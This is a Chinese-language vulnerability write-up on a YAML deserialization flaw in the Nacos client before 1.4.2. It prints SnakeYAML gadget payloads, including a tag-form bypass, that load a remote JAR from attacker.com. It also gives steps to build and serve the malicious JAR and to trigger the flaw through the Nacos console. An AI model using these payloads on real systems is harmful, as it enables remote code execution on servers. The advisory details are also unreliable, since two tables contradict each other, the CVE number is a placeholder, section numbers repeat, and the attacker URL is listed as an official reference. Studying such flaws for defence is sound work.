一、漏洞简介

1.1 漏洞背景

在 Nacos 1.4.1 版本之前,使用 AbstractConfigChangeListener 监听器的客户端存在 Yaml 反序列化漏洞。该漏洞只影响单独使用 nacos-client SDK 的用户。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2021-XXXXX
危害等级 暂未找到权威信息
漏洞类型 Client Yaml 反序列化
披露时间 暂未找到权威信息
影响组件 Nacos
项目 内容
CVE 编号 CVE-2021-XXXXX(社区编号)
危害等级 高危(High)
CVSS 评分 8.8
漏洞类型 Yaml 反序列化
受影响版本 Nacos Client < 1.4.2
修复版本 Nacos Client 1.4.2+
<hr />

核验说明:原文使用编号 CVE-2021-XXXXX,但其不符合标准 CVE 格式或暂未在 NVD/CVE 公共记录中确认,文中保留原主题并标注待核验。

二、影响范围

2.1 受影响的版本

  • 暂未找到权威信息,建议以厂商安全公告、修复提交记录或发布说明为准。

2.2 不受影响的版本

  • 暂未找到权威信息,建议以厂商安全公告、修复提交记录或发布说明为准。

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. 客户端使用 AbstractConfigChangeListener 监听配置
  2. 配置格式为 YAML
  3. 攻击者能修改 Nacos 配置

注意:Spring Cloud、Spring Boot、Dubbo 等框架不使用 AbstractConfigChangeListener,因此不受影响。

<hr />

三、漏洞详情与原理解析

3.1 漏洞触发机制

SnakeYAML 在解析 YAML 时支持实例化任意类,攻击者可利用此特性执行任意代码。

3.2 攻击 Payload

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://attacker.com/yaml-payload.jar"]
  ]]
]

绕过 Payload

!<tag:yaml.org,2002:javax.script.ScriptEngineManager> [
  !<tag:yaml.org,2002:java.net.URLClassLoader> [[
    !<tag:yaml.org,2002:java.net.URL> ["http://attacker.com/yaml-payload.jar"]
  ]]
]
<hr />

3.2 源码层面的根因分析(结合源码与补丁对比)

暂未检索到可公开验证的源码补丁信息,无法对根因实现细节作权威复原。

四、漏洞复现(可选)

4.1 环境搭建

# 下载恶意 JAR 生成工具
git clone https://github.com/artsploit/yaml-payload.git
cd yaml-payload

# 修改恶意代码
vim src/artsploit/AwesomeScriptEngineFactory.java

# 编译 JAR
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

# 启动 Web 服务器
python3 -m http.server 7800

4.2 触发漏洞

  1. 在 Nacos 控制台创建/修改配置
  2. 配置格式选择 YAML
  3. 填入恶意 Payload
  4. 点击发布
<hr />

4.2 PoC 演示与测试过程

暂无公开可验证复现信息。

五、修复建议与缓解措施

5.1 官方版本升级建议

升级 Nacos Client 到 1.4.2+

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

限制配置修改权限

# 只允许管理员修改配置
nacos.core.auth.enabled=true
<hr />

六、参考信息 / 参考链接

6.1 官方安全通告

  • https://github.com/artsploit/yaml-payload.git

6.2 其他技术参考资料

  • http://attacker.com/yaml-payload.jar"
  • https://github.com/artsploit/yaml-payload.git
  • https://xz.aliyun.com/t/10355